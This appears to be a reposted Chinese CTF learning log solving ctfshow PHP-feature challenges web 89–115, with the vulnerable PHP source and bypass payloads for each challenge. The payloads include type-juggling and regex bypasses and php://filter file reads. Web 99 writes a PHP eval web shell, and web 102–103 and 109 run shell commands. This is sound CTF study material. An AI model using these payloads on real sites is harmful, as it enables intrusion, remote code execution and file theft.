概述
web 89
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
intval() 函数用于获取变量的整数值。
但是要绕过正则,也就是不能匹配数字。
可以使用数组绕过:
?num[]=1
web 90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!"); // num不能等于4476
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
intval()函数语法:
int intval ( mixed $var [, int $base = 10 ] ):
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
例如:
intval(42); // 42
intval(4.2); // 4
intval('42'); // 42
intval('+42'); // 42
intval('-42'); // -42
intval(042); // 34 8进制
intval('042'); // 42
intval(1e10); // 1410065408
intval('1e10'); // 1
intval(0x1A); // 26 16进制
回到题目:
if($num==="4476"){
die("no no no!"); // 可以使用4476.0绕过
payload:
?num=4476.0
?num=0x117c // 16进制
?num=010574 // 8进制
web 91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
// 符合第一个正则,以php开头,存在^和$的情况下使用修饰符m
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){ // 不符合第二个正则,输出flag
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
题目要绕过两个正则。
常见修饰符:
i
不区分(ignore)大小写
m
多(more)行匹配
若存在换行n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abcnabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggabnacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg bn bs
g
全局匹配,查找所有匹配项
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行;
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
细品m的用法,题目刚好满足,所以要满足第一个正则,可以构造:
?cmd=xxx%0aphp
//%0a即换行符,m在遇到上述条件时,先匹配换行符前的字符,也就是xxx,在匹配%0a后的字符,也就是php满足了第一条正则的条件。
//在第二条正则中,只匹配一行的字符,即匹配到了xxx,并不满足正则条件,成功绕过。
m:
多(more)行匹配
若存在换行n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
web 92
和第90关不同的是,90属于强类型比较( === ) ,92属于弱类型( == )。
可以使用8进制,16进制绕过,小数师傅们的博客说可以绕过,可是我这里却不行,所以我不是师傅0.0。
在若比较中(==),4476a与4476相等。
简单说一下:
字母在进行数值比较时,会被当做0
字母与数字的组合,以前面的为准:
即:
4476a=4476 //true
a4476=4476 //false
a4476=0 //true
但是在intval函数中还存在一个特性:
intval在处理数据时,只读取字母前面的数据
e这个字母,在PHP中会被当作科学计数法。
例如,我们构造4476e123
:
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){ // 4476e123=4476×10^123 显然不等于4476,成功绕过
die("no no no!");
}
if(intval($num,0)==4476){ //intval在处理数据时,只读取字母前面的数据,即4476,ok
echo $flag;
}else{
echo intval($num,0);
}
}
web 93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){ //过滤了字母,不能使用科学计数法绕过
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
使用8进制。
web 94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){ // 不能匹配到字母
die("no no no!");
}
// strpos() 函数查找字符串在另一字符串中第一次出现的位置。
if(!strpos($num, "0")){ // 0不能出现在第一位,但是我总是感觉怪怪的
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
payload:
?num= 010574 // 前面加个空格
?num=+010574
?num=%20010574 //%20即空格
?num=%0a010574
?num=4476.0 // 这里小数可以使用,难道是因为强弱比较的关系??
web 95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
跟上一关差不多,第一次比较换成了弱类型,小数用不了了。
web 96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
考点应该是highlight_file函数,随便传入一个值,会报错,显示出路径:
知道了具体路径,构造payload:
?u=/var/www/html/flag.php
?u=./flag.php // ./表示上一层目录
web 97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b']) // 这里属于若碰撞
if (md5($_POST['a']) === md5($_POST['b'])) // 强比较
echo $flag;
else
print 'Wrong.';
}
?>
md5强类型比较,可以使用数组绕过,md5处理数组时会返回null:
a[]=1&b[]=2
web 98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
这道题看着有点迷,问了问师傅们,明白了
第一个考点:三元比较 php三元运算符与if的详解
三元运算符语法:条件 ? 结果1 : 结果2 说明:问号前面的位置是判断的条件,如果满足条件时结果1,不满足时结果2。
第二个考点:&引用 PHP引用(&)使用详解
我们逐条分析一下:
$_GET?$_GET=&$_POST:'flag';
# 如果有GET传参,就变成POST传参
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
# 这两句不是特别重要,其实是我解释不清楚。。。
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
# 如果GET传参 HTTP_FLAG=flag,就执行highlight_file(flag),否则执行highlight_file(__FILE__)
然后还是迷迷糊糊,payload:
// GET传参
?HTTP_FLAG=flag
// POST传参
HTTP_FLAG=flag
web 99
highlight_file(__FILE__);
$allow = array(); // 声明一个数组
// 循环
for ($i=36; $i < 0x36d; $i++) {
// 在数组末尾添加随机数
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//file_put_contents() 函数把一个字符串写入文件中。
file_put_contents($_GET['n'], $_POST['content']);
}
?>
简单审计一下代码,这里考点是in_array()函数:
in_array() 函数搜索数组中是否存在指定的值。
语法:
bool in_array ( mixed $needle , array $haystack [, bool $strict =
FALSE ] )
这里有三个参数:
参数 | 描述 |
---|---|
needle | 必需。规定要在数组搜索的值。 |
haystack | 必需。规定要搜索的数组。 |
strict | 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。 |
题目中:
in_array($_GET['n'], $allow)
// 判断n是否在数组allow中,不进行类型的比较。
所以:
n=1.php //会被当做666进行判断,存在于数组中
// 写入1.php的内容为:
content=<?php eval($_POST[ctfshow])?>
// 因为每次添加随机数都有存在1的可能,所以1的概率最大
然后访问1.php页面,使用蚁剑连接。
web 100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
// is_numeric() 函数用于检测变量是否为数字或数字字符串。
// v1=1
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
// v0=1,这里是赋值,if满足
if($v0){
if(!preg_match("/;/", $v2)){
if(preg_match("/;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
考点 逻辑运算符的优先级 :
给个链接 运算符优先级
payload:
?v1=1&v2=var_dump($ctfshow)&v3=;
?v1=21&v2=var_dump($ctfshow)/*&v3=*/; // v3注释掉
web 101
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\|/|~|`|!|@|#|\$|%|^|*|)|-|_|+|=|{|[|"|'|,|.|;|?|[0-9]/", $v2)){
if(!preg_match("/\\|/|~|`|!|@|#|\$|%|^|*|(|-|_|+|=|{|[|"|'|,|.|?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
前一关应该属于这一关的非预期解。
考察的为 ReflectionClass 然后我也不知道这是个啥,问问度娘。
md 看不懂,后面慢慢看吧。
payload:
?v1=1&v2=echo new ReflectionClass&v3=;
web 102-103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2); // 前两位截断,从第三位开始
$str = call_user_func($v1,$s); // $s的值返回给v1
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
新知识点:call_user_func
把第一个参数作为回调函数调用
说明:
call_user_func ( callable $callback , mixed $parameter = ? , mixed $… = ? ) : mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
这道题的逻辑整理一下,v2从第三位开始的值–> v1 ;v2是数字回调的值输入到v3,那么问题来了,v3是个什么东西,记得前面做过一道题,1.php==1,所以v3可以等于1.php,然后将v2的值写入1.php,如果是一句木马,写入1.php,再访问1.php就好了,那么问题又来了,木马命令怎么能是数字呢?这里用到php:/ /filter/write=convert.base64-decode/resource伪协议,使用base64编码,但是这也不是数字啊,这里不要忘了POST v1,如果说v1传入一种密码算法,使得base64编码的命令能和数字相互转换,不就可以了,所以,现在的关键是什么命令经过base64编码,再经过某种加密能完全变成数字。我也不知道,问问师傅们怎么解决的。
这个逻辑确实有点绕,好好理解一下。
最后总结一下:
1.v3=php:/ /filter/write=convert.base64-decode/resource=1.php 使用base64写一个1.php文件
2.找到一个命令,经过base64和某种加密后能变成数字,写入1.php
3.访问1.php,POST v1=解密算法(函数)
4.成功
符合条件的命令:
<?=`cat *`;
经过base64 : PD89YGNhdCAqYDs=
经过16进制:5044383959474e6864434171594473 // 注意去掉base64末尾的=
所以最终的payload:
//GET
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php //v2前要补两个数字,e被认为是科学计数法,可以绕过
//POST
v1=hex2bin
访问1.php,查看源码
web 104
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
sha1弱类型比较。
payload:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
经过sha1加密后都是科学科学计数法的形式,且值为0
数组应该也能绕过
web 105
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
// foreach 数组循环
foreach($_GET as $key => $value){
if($key==='error'){ // 键名不能是error
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){ // 键值不能是flag
die("what are you doing?!");
}
$$key=$$value; // 最关键的地方,变量覆盖
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."n";
die($suces);
?>
先看看什么条件才能获得flag,这里:
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."n";
die($suces);
我们要输出的是$flag变量。
整理一下逻辑:
$_GET传入的参数作为键名不能是error --> 键名为suces,键值为flag
$_POST传入的参数的值作为键值不能是flag -->键值为suces,键名为error
$$key = $$value --> $key=suces $$key=$key=flag $value = error $$value=$error $error=flag 输出error
只有三个变量$error $suces $flag
所以payload:
?suces=flag GET
error=suces POST
web 106
=Web 104
web 107
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
parse_str() 函数把查询字符串解析到变量中。
语法:
parse_str(string,array)
参数 | 描述 |
---|---|
string | 必需。规定要解析的字符串。 |
array | 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 |
parse_str大致意思就是可以给变量多个值
payload:
GET: ?v3=240610708 // 经过md5加密为0e形式
POST: v1=flag=0 // v1的值解析到v2中,即0和flag,0满足条件
web 108
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
// 匹配大小写字母一次或多次
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){ //strrev() 函数反转字符串。
echo $flag;
}
?>
ereg()函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的。
ereg函数截断漏洞,不多说了,一查一大堆
payload:
?c=a%00778 //0x36d=877
web 109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
参考链接:异常处理
payload:
?v1=Exception&v2=system("cat f*") //Exception(system('cmd')) 执行命令
web 110
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
109的升级版,可以看到没有过滤字母,所以我们可以使用一些函数:
payload:
?v1=FilesystemIterator&v2=getcwd
// FilesystemIterator 获取指定目录下的所有文件
// getcwd()函数 获取当前工作目录 返回当前工作目录
web 111
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;"); // 变量覆盖
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/~| |`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]|<|>/', $v1)){
die("error v1");
}
if(preg_match('/~| |`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]|<|>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
这里变量定义在函数里面,所以使用全局变量
payload:
?v1=ctfshow&v2=GLOBALS
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
将$GLOBALS传给$v2,再赋值给$v1,实现var_dump($GOBALS)的操作
web 112
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/../|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){ // is_file() 函数检查指定的文件名是否是正常的文件。
highlight_file(filter($file));
}else{
echo "hacker!";
}
注意上面的正则,基本上是过滤了伪协议的内容,但是没有过滤filter,可以使用未被过滤的伪协议绕过is_file
payload:
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
web 113
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|../|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
当然可以使用:
compress.zlib://flag.php
但是这道题的考点不是这个…
师傅们考查的是
/proc/self/root
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入
ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file.。
payload:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
web 114
payload:
?file=php://filter/resource=flag.php
伪协议直接读取,没什么好说的
web 115
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
很多判断在一起,分析一下:
1.num必须是数字 // is_numeric($num)
2.num不能等于16 // $num!=='36'
3.经过过滤后num等于36 // filter($num)=='36')
4.删除num前后的空白符,空格,换行这些后还不能等于36 //trim($num)!=='36'
参考了其他师傅:
is_numeric():
for ($i=0; $i <128 ; $i++) {
$x=chr($i).'1';
if(is_numeric($x)==true){
echo urlencode(chr($i))."n";
}
}
输出:%09 、%0A、 %0B、 %0C、 %0D、 +、 %2B、 -、 .(点)、
trim():
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."n";
}
}
输出:%0C、%2B(+号)、-、.(点)、0、1、2、3、4、5、6、7、8、9
在除去过滤掉的。只剩下%0c ,换页符。所以
payload:
?num=%0c36
最后
以上就是完美饼干为你收集整理的ctfshow PHP特性(89-115)【学习记录】web 89web 90web 91web 92web 93web 94web 95web 96web 97web 98web 99web 100web 101web 102-103web 104web 105web 106web 107web 108web 109web 110web 111web 112web 113web 114web 115的全部内容,希望文章能够帮你解决ctfshow PHP特性(89-115)【学习记录】web 89web 90web 91web 92web 93web 94web 95web 96web 97web 98web 99web 100web 101web 102-103web 104web 105web 106web 107web 108web 109web 110web 111web 112web 113web 114web 115所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复